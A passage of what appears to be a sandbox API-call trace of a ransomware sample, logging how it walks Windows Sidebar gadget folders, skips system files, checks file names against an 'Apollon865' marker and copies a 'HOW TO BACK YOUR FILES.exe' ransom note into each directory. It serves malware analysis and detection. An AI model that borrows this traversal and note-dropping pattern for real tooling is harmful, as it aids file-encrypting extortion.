	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0061.324] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0061.324] lstrlenW (lpString="logo.png") returned 8
	[0061.324] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned 68
	[0061.324] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0061.324] lstrlenW (lpString="logo.png") returned 8
	[0061.325] lstrlenW (lpString="Apollon865") returned 10
	[0061.325] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images"
	[0061.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0061.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0061.325] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned 68
	[0061.325] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images"
	[0061.325] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.325] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3ca13110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ca13110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.366] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.366] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.366] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.366] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3ca13110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ca13110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.367] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.367] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.367] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.367] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.367] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="Apollon865.txt.exe") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2=".") returned 1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="..") returned 1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="windows") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="bootmgr") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="temp") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="pagefile.sys") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="boot") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="ids.txt") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="ntuser.dat") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="perflogs") returned -1
	[0061.367] lstrcmpiW (lpString1="0.png", lpString2="MSBuild") returned -1
	[0061.367] lstrlenW (lpString="0.png") returned 5
	[0061.367] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*") returned 70
	[0061.367] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="0.png" | out: lpString1="0.png") returned="0.png"
	[0061.367] lstrlenW (lpString="0.png") returned 5
	[0061.367] lstrlenW (lpString="Apollon865") returned 10
	[0061.367] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="1.png" | out: lpString1="1.png") returned="1.png"
	[0061.367] lstrlenW (lpString="1.png") returned 5
	[0061.367] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="10.png" | out: lpString1="10.png") returned="10.png"
	[0061.368] lstrlenW (lpString="10.png") returned 6
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="11.png" | out: lpString1="11.png") returned="11.png"
	[0061.368] lstrlenW (lpString="11.png") returned 6
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="2.png" | out: lpString1="2.png") returned="2.png"
	[0061.368] lstrlenW (lpString="2.png") returned 5
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="3.png" | out: lpString1="3.png") returned="3.png"
	[0061.368] lstrlenW (lpString="3.png") returned 5
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="4.png" | out: lpString1="4.png") returned="4.png"
	[0061.368] lstrlenW (lpString="4.png") returned 5
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="5.png" | out: lpString1="5.png") returned="5.png"
	[0061.368] lstrlenW (lpString="5.png") returned 5
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="6.png" | out: lpString1="6.png") returned="6.png"
	[0061.368] lstrlenW (lpString="6.png") returned 5
	[0061.368] lstrlenW (lpString="Apollon865") returned 10
	[0061.368] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="7.png" | out: lpString1="7.png") returned="7.png"
	[0061.369] lstrlenW (lpString="7.png") returned 5
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="8.png" | out: lpString1="8.png") returned="8.png"
	[0061.369] lstrlenW (lpString="8.png") returned 5
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="9.png" | out: lpString1="9.png") returned="9.png"
	[0061.369] lstrlenW (lpString="9.png") returned 5
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="background.png" | out: lpString1="background.png") returned="background.png"
	[0061.369] lstrlenW (lpString="background.png") returned 14
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcmpiW (lpString1="ground.png", lpString2="Apollon865") returned 1
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="daisies.png" | out: lpString1="daisies.png") returned="daisies.png"
	[0061.369] lstrlenW (lpString="daisies.png") returned 11
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcmpiW (lpString1="aisies.png", lpString2="Apollon865") returned -1
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="glow.png" | out: lpString1="glow.png") returned="glow.png"
	[0061.369] lstrlenW (lpString="glow.png") returned 8
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.369] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="hint_down.png" | out: lpString1="hint_down.png") returned="hint_down.png"
	[0061.369] lstrlenW (lpString="hint_down.png") returned 13
	[0061.369] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="t_down.png", lpString2="Apollon865") returned 1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="hint_over.png" | out: lpString1="hint_over.png") returned="hint_over.png"
	[0061.370] lstrlenW (lpString="hint_over.png") returned 13
	[0061.370] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="t_over.png", lpString2="Apollon865") returned 1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="hint_up.png" | out: lpString1="hint_up.png") returned="hint_up.png"
	[0061.370] lstrlenW (lpString="hint_up.png") returned 11
	[0061.370] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="int_up.png", lpString2="Apollon865") returned 1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_bottom.png" | out: lpString1="settings_box_bottom.png") returned="settings_box_bottom.png"
	[0061.370] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0061.370] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="bottom.png", lpString2="Apollon865") returned 1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_divider_left.png" | out: lpString1="settings_box_divider_left.png") returned="settings_box_divider_left.png"
	[0061.370] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0061.370] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_divider_right.png" | out: lpString1="settings_box_divider_right.png") returned="settings_box_divider_right.png"
	[0061.370] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0061.370] lstrlenW (lpString="Apollon865") returned 10
	[0061.370] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.370] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_left.png" | out: lpString1="settings_box_left.png") returned="settings_box_left.png"
	[0061.371] lstrlenW (lpString="settings_box_left.png") returned 21
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="x_left.png", lpString2="Apollon865") returned 1
	[0061.371] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_right.png" | out: lpString1="settings_box_right.png") returned="settings_box_right.png"
	[0061.371] lstrlenW (lpString="settings_box_right.png") returned 22
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.371] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_box_top.png" | out: lpString1="settings_box_top.png") returned="settings_box_top.png"
	[0061.371] lstrlenW (lpString="settings_box_top.png") returned 20
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="ox_top.png", lpString2="Apollon865") returned 1
	[0061.371] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_corner_bottom_left.png" | out: lpString1="settings_corner_bottom_left.png") returned="settings_corner_bottom_left.png"
	[0061.371] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="m_left.png", lpString2="Apollon865") returned 1
	[0061.371] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_corner_bottom_right.png" | out: lpString1="settings_corner_bottom_right.png") returned="settings_corner_bottom_right.png"
	[0061.371] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.371] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_corner_top_left.png" | out: lpString1="settings_corner_top_left.png") returned="settings_corner_top_left.png"
	[0061.371] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0061.371] lstrlenW (lpString="Apollon865") returned 10
	[0061.371] lstrcmpiW (lpString1="p_left.png", lpString2="Apollon865") returned 1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_corner_top_right.png" | out: lpString1="settings_corner_top_right.png") returned="settings_corner_top_right.png"
	[0061.372] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0061.372] lstrlenW (lpString="Apollon865") returned 10
	[0061.372] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_divider.png" | out: lpString1="settings_divider.png") returned="settings_divider.png"
	[0061.372] lstrlenW (lpString="settings_divider.png") returned 20
	[0061.372] lstrlenW (lpString="Apollon865") returned 10
	[0061.372] lstrcmpiW (lpString1="ivider.png", lpString2="Apollon865") returned 1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_divider_left.png" | out: lpString1="settings_divider_left.png") returned="settings_divider_left.png"
	[0061.372] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0061.372] lstrlenW (lpString="Apollon865") returned 10
	[0061.372] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_divider_right.png" | out: lpString1="settings_divider_right.png") returned="settings_divider_right.png"
	[0061.372] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0061.372] lstrlenW (lpString="Apollon865") returned 10
	[0061.372] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_left_disabled.png" | out: lpString1="settings_left_disabled.png") returned="settings_left_disabled.png"
	[0061.372] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0061.372] lstrlenW (lpString="Apollon865") returned 10
	[0061.372] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0061.372] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_left_hover.png" | out: lpString1="settings_left_hover.png") returned="settings_left_hover.png"
	[0061.373] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0061.373] lstrlenW (lpString="Apollon865") returned 10
	[0061.373] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0061.373] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_left_pressed.png" | out: lpString1="settings_left_pressed.png") returned="settings_left_pressed.png"
	[0061.373] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0061.373] lstrlenW (lpString="Apollon865") returned 10
	[0061.373] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0061.373] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_left_rest.png" | out: lpString1="settings_left_rest.png") returned="settings_left_rest.png"
	[0061.373] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0061.373] lstrlenW (lpString="Apollon865") returned 10
	[0061.373] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0061.373] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_right_disabled.png" | out: lpString1="settings_right_disabled.png") returned="settings_right_disabled.png"
	[0061.373] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0061.373] lstrlenW (lpString="Apollon865") returned 10
	[0061.373] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0061.373] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_right_hover.png" | out: lpString1="settings_right_hover.png") returned="settings_right_hover.png"
	[0061.373] lstrlenW (lpString="settings_right_hover.png") returned 24
	[0061.373] lstrlenW (lpString="Apollon865") returned 10
	[0061.373] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_right_pressed.png" | out: lpString1="settings_right_pressed.png") returned="settings_right_pressed.png"
	[0061.374] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="settings_right_rest.png" | out: lpString1="settings_right_rest.png") returned="settings_right_rest.png"
	[0061.374] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="setting_back.png" | out: lpString1="setting_back.png") returned="setting_back.png"
	[0061.374] lstrlenW (lpString="setting_back.png") returned 16
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="g_back.png", lpString2="Apollon865") returned 1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="shuffle_down.png" | out: lpString1="shuffle_down.png") returned="shuffle_down.png"
	[0061.374] lstrlenW (lpString="shuffle_down.png") returned 16
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="e_down.png", lpString2="Apollon865") returned 1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="shuffle_over.png" | out: lpString1="shuffle_over.png") returned="shuffle_over.png"
	[0061.374] lstrlenW (lpString="shuffle_over.png") returned 16
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="e_over.png", lpString2="Apollon865") returned 1
	[0061.374] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="shuffle_up.png" | out: lpString1="shuffle_up.png") returned="shuffle_up.png"
	[0061.374] lstrlenW (lpString="shuffle_up.png") returned 14
	[0061.374] lstrlenW (lpString="Apollon865") returned 10
	[0061.374] lstrcmpiW (lpString1="fle_up.png", lpString2="Apollon865") returned 1
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="tile16.png" | out: lpString1="tile16.png") returned="tile16.png"
	[0061.375] lstrlenW (lpString="tile16.png") returned 10
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="tile_bezel.png" | out: lpString1="tile_bezel.png") returned="tile_bezel.png"
	[0061.375] lstrlenW (lpString="tile_bezel.png") returned 14
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcmpiW (lpString1="_bezel.png", lpString2="Apollon865") returned -1
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="tile_drop_shadow.png" | out: lpString1="tile_drop_shadow.png") returned="tile_drop_shadow.png"
	[0061.375] lstrlenW (lpString="tile_drop_shadow.png") returned 20
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcmpiW (lpString1="shadow.png", lpString2="Apollon865") returned 1
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="timer_down.png" | out: lpString1="timer_down.png") returned="timer_down.png"
	[0061.375] lstrlenW (lpString="timer_down.png") returned 14
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcmpiW (lpString1="r_down.png", lpString2="Apollon865") returned 1
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="timer_over.png" | out: lpString1="timer_over.png") returned="timer_over.png"
	[0061.375] lstrlenW (lpString="timer_over.png") returned 14
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcmpiW (lpString1="r_over.png", lpString2="Apollon865") returned 1
	[0061.375] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="timer_up.png" | out: lpString1="timer_up.png") returned="timer_up.png"
	[0061.375] lstrlenW (lpString="timer_up.png") returned 12
	[0061.375] lstrlenW (lpString="Apollon865") returned 10
	[0061.375] lstrcmpiW (lpString1="mer_up.png", lpString2="Apollon865") returned 1
	[0061.376] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US"
	[0061.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0061.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0061.376] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned 67
	[0061.376] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US"
	[0061.376] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.376] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.381] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ca85530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ca85530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.381] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.381] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.381] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.381] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ca85530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ca85530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.381] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.381] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.381] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.381] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.381] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0061.381] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.381] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0061.381] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0061.382] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0061.382] lstrlenW (lpString="css") returned 3
	[0061.382] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*") returned 69
	[0061.382] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="css" | out: lpString1="css") returned="css"
	[0061.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0061.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599450
	[0061.382] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0061.382] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0061.382] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
